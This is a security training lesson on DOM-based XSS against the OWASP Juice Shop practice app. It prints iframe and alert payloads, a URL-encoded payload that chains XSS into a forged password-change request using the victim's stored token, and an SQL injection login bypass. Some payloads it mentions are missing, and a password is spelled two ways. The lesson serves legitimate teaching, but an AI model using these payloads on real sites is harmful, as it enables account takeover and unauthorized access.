DOM-based XSS Attacks
DOM-based XSS Attacks
Alright, so we’ve gathered information about our target, and now it’s time to try and find some
DOM-based XSS. My first area of focus will be the search bar, since that’s an all around good
one to start with.
I’ll open up my DevTools on the network tab to get information about what’s being returned by
the back-end. We could also use Zap for this, by the way, if you prefer. Then, load the Juice
Shop homepage if you haven’t already, but if you have, just go ahead and refresh the page with
your DevTools open.
Even before submitting our search query, looking at the Network tab, we can see the resources
being loaded for this page, and there’s an interesting one named /application-configuration that
we’ll open up. You can scroll through and find interesting information, and in fact, under
Challenges, we’ll even find something called xssBonusPayload:
We’ll come back to that, so save it for now. Feel free to look at the other challenges information,
but that’s all I need for now!
In the Network tab, under the /api/Quantitys response, we see product IDs, quantities, limits
per user, and some other information.
The search?q= response which shows us products being returned, and how this information is
structured, which can potentially be useful down the road, and at the very least helps us
understand further how the application works.
As we submit a new request with our DevTools open, we notice that no new network request
has been generated, which tells me it’s probably filtering the results via client-side code.
Let’s try some manual approaches to see what’s going on. Let’s see if we can create new HTML
tags:
<script>
<script>alert(1)</script>
<iframe src="javascript:alert(`xss`)">
So its important to keep in mind that there are multiple ways of exploiting a vulnerability!
Now why did the script tags not work earlier even though both the img and iframe tags worked?
If you remember from a prior lesson, there are a number of JavaScript methods that can insert
HTML elements in the DOM, and .innerHTML is one of those, and that’s the method being used
in this search functionality. But, according to W3.org
script elements inserted using innerHTML do not execute when they are inserted.
https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0
That’s why our script tag gets inserted, but not executed, and that’s why we had to use a
different payload for this DOM-based vulnerability. The different payload, which was:
Did work, because JavaScript inside of an event handler as an attribute — in this case, the
onerror='alert(1)' — is executed as soon as a particular event occurs.
Because we’re trying to load an image from an invalid source, we trigger that event once it’s
added to the DOM.
In this next example, that’s exactly what we’ll do. We will use an exploit created by Joe Butler
and described in his blog post: https://incognitjoe.github.io/hacking-the-juice-shop.html
This exploit leverages the search XSS vulnerability to perform a Coss-Site Request Forgery,
which will let us modify a user’s password to whatever we want. Let’s take a look at how it
works.
http://localhost:3000/rest/user/change-password
Which we were able to find with our information gathering steps from a prior lesson.
That endpoint lets users change their passwords. Typically, when changing passwords, you
want the user to first input their current password, and then input their new password, followed
by a third input that confirms the new password. However, Joe realized that the endpoint only
requires the new and confirm inputs, not the current password input. So instead of:
http://localhost:3000/rest/user/change-password?current=current&new=new&rep
eat=repeat
http://localhost:3000/rest/user/change-password?new=new&repeat=repeat
Knowing that, we can craft an XSS payload that makes a request to that endpoint and sets the
new password to what we’d like. The end result is this payload:
http://localhost:3000/#/search?q=%3Ciframe%20src%3D%22javascript%3Axmlhttp%
20%3D%20new%20XMLHttpRequest%28%29%3B%20xmlhttp.open%28%27GET%27%2C%20%27ht
tp%3A%2F%2Flocalhost%3A3000%2Frest%2Fuser%2Fchange-password%3Fnew%3DslurmCl
4ssic%26amp%3Brepeat%3DslurmCl4ssic%27%29%3B%20xmlhttp.setRequestHeader%28%
27Authorization%27%2C%60Bearer%3D%24%7BlocalStorage.getItem%28%27token%27%2
9%7D%60%29%3B%20xmlhttp.send%28%29%3B%22%3E
If we decode that payload, the HTML ends up looking like this:
xmlhttp.setRequestHeader('Authorization',`Bearer=${localStorage.getItem('to
ken')}`);
xmlhttp.send();">
</iframe>
We use an iframe since we can’t use the script tags, and then we create an XMLHttpRequest()
which issues an HTTP request to exchange information between the website and a server, in
this case the targeted endpoint
http://localhost:3000/rest/user/change-password?new=slurmCl4ssic;repeat=slurm
Cl4ssic. Then, we setRequestHeader of Authorization by grabbing the user’s own token
from their browser’s local storage! Pretty nifty trick.
That makes it so that we can make requests on the user’s behalf, without them even realizing it.
Now for this to work, we have to be logged in. To do that, let’s go to Login. You can create an
account if you’d like, but to save some time, I’ll use an SQL injection to log in as the admin user.
In the username field, type ' or 1=1;-- and the password can be whatever you want. This is
an SQL injection that I found and explained in my Injection Attacks: The Free Guide course, so I
won’t explain it here, but this will log us in as an administrator of the application.
Now that we’re logged in, we can execute our payload by loading this page and pretending that
someone sent us that link under false pretenses.
http://localhost:3000/#/search?q=%3Ciframe%20src%3D%22javascript%3Axmlhttp%
20%3D%20new%20XMLHttpRequest%28%29%3B%20xmlhttp.open%28%27GET%27%2C%20%27ht
tp%3A%2F%2Flocalhost%3A3000%2Frest%2Fuser%2Fchange-password%3Fnew%3DslurmCl
4ssic%26amp%3Brepeat%3DslurmCl4ssic%27%29%3B%20xmlhttp.setRequestHeader%28%
27Authorization%27%2C%60Bearer%3D%24%7BlocalStorage.getItem%28%27token%27%2
9%7D%60%29%3B%20xmlhttp.send%28%29%3B%22%3E
We can watch this in action by opening up the network tab, looking at the request, and checking
out the response. Then, we can log out of our logged in user and log back in with the password
slurmCl4assic and username admin@juice-sh.op
As we wrap up this lesson, there is one more bonus XSS payload made for fun by the creators
of the Juice Shop, which is this payload that we found and saved from the beginning of this
lesson:
So go ahead and inject it in the search bar and see what it does! It should trigger a challenge
completion.
That’s it for this lesson! Go ahead and complete it and I will see you in the next!